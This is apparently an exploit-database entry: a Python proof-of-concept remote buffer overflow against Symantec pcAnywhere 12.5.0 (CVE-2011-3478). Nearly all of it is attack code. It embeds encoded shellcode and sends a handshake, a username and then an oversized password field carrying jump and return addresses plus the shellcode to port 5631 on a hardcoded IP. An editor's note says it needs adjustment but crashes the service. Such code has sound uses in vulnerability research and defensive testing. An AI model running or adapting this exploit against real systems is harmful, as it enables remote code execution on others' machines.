Symantec pcAnywhere 12.5.0 – ‘Login’ / ‘Password’ Remote Buffer Overflow
#!/usr/bin/python # Exploit Title: Symantec PcAnywhere login and password field buffer overflow # Date: 2012.06.27 # Author: S2 Crew [Hungary] # Software Link: symantec.com # Version: 12.5.0 # Tested on: Windows XP SP2 # CVE: CVE-2011-3478 #EDB Note: Needs adjustment but there is a crash # Code : import socket import time import struct import string import sys shell = ( "\xda\xda\xbb\x9e\x7f\xfb\x04\xd9\x74\x24\xf4\x58\x2b\xc9" "\xb1\x56\x31\x58\x18\x03\x58\x18\x83\xc0\x9a\x9d\x0e\xf8" "\x4a\xe8\xf1\x01\x8a\x8b\x78\xe4\xbb\x99\x1f\x6c\xe9\x2d" "\x6b\x20\x01\xc5\x39\xd1\x92\xab\x95\xd6\x13\x01\xc0\xd9" "\xa4\xa7\xcc\xb6\x66\xa9\xb0\xc4\xba\x09\x88\x06\xcf\x48" "\xcd\x7b\x3f\x18\x86\xf0\xed\x8d\xa3\x45\x2d\xaf\x63\xc2" "\x0d\xd7\x06\x15\xf9\x6d\x08\x46\x51\xf9\x42\x7e\xda\xa5" "\x72\x7f\x0f\xb6\x4f\x36\x24\x0d\x3b\xc9\xec\x5f\xc4\xfb" "\xd0\x0c\xfb\x33\xdd\x4d\x3b\xf3\x3d\x38\x37\x07\xc0\x3b" "\x8c\x75\x1e\xc9\x11\xdd\xd5\x69\xf2\xdf\x3a\xef\x71\xd3" "\xf7\x7b\xdd\xf0\x06\xaf\x55\x0c\x83\x4e\xba\x84\xd7\x74" "\x1e\xcc\x8c\x15\x07\xa8\x63\x29\x57\x14\xdc\x8f\x13\xb7" "\x09\xa9\x79\xd0\xfe\x84\x81\x20\x68\x9e\xf2\x12\x37\x34" "\x9d\x1e\xb0\x92\x5a\x60\xeb\x63\xf4\x9f\x13\x94\xdc\x5b" "\x47\xc4\x76\x4d\xe7\x8f\x86\x72\x32\x1f\xd7\xdc\xec\xe0" "\x87\x9c\x5c\x89\xcd\x12\x83\xa9\xed\xf8\xb2\xed\x23\xd8" "\x97\x99\x41\xde\x06\x06\xcf\x38\x42\xa6\x99\x93\xfa\x04" "\xfe\x2b\x9d\x77\xd4\x07\x36\xe0\x60\x4e\x80\x0f\x71\x44" "\xa3\xbc\xd9\x0f\x37\xaf\xdd\x2e\x48\xfa\x75\x38\x71\x6d" "\x0f\x54\x30\x0f\x10\x7d\xa2\xac\x83\x1a\x32\xba\xbf\xb4" "\x65\xeb\x0e\xcd\xe3\x01\x28\x67\x11\xd8\xac\x40\x91\x07" "\x0d\x4e\x18\xc5\x29\x74\x0a\x13\xb1\x30\x7e\xcb\xe4\xee" "\x28\xad\x5e\x41\x82\x67\x0c\x0b\x42\xf1\x7e\x8c\x14\xfe" "\xaa\x7a\xf8\x4f\x03\x3b\x07\x7f\xc3\xcb\x70\x9d\x73\x33" "\xab\x25\x83\x7e\xf1\x0c\x0c\x27\x60\x0d\x51\xd8\x5f\x52" "\x6c\x5b\x55\x2b\x8b\x43\x1c\x2e\xd7\xc3\xcd\x42\x48\xa6" "\xf1\xf1\x69\xe3" ) init1 = ( "\x00\x00\x00\x00" # kezdeti handshake ) init2 = ( "\x0d\x06\xfe" # Enter username uzenet koveti (NTdialog) ) init3 = ( "A" * 100 #+ "\r" #username ) readable_xp_sp2 = struct.pack('<L',0x023E5AD0) call_esi = struct.pack('<L',0x67f7aac4) jmp = struct.pack('<L',0x414112EB) init4 = ( "B" * 1282 + jmp + readable_xp_sp2 + "DDDD" +call_esi + "AAAA" + shell + "E" * (4000 - 1286 - 12 - len(shell)) ) s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect=s.connect(('172.16.29.133',5631)) # hardcoded IP address print "init packet..." s.send(init1) # send the data time.sleep(5) data = s.recv(1024) print "handshake packet..." s.send(init2) # send the data time.sleep(5) data = s.recv(1024) print "username packet..." s.send(init3) # send the data time.sleep(5) #data = s.recv(1024) print "password packet..." s.send(init4) # send the data s.close() |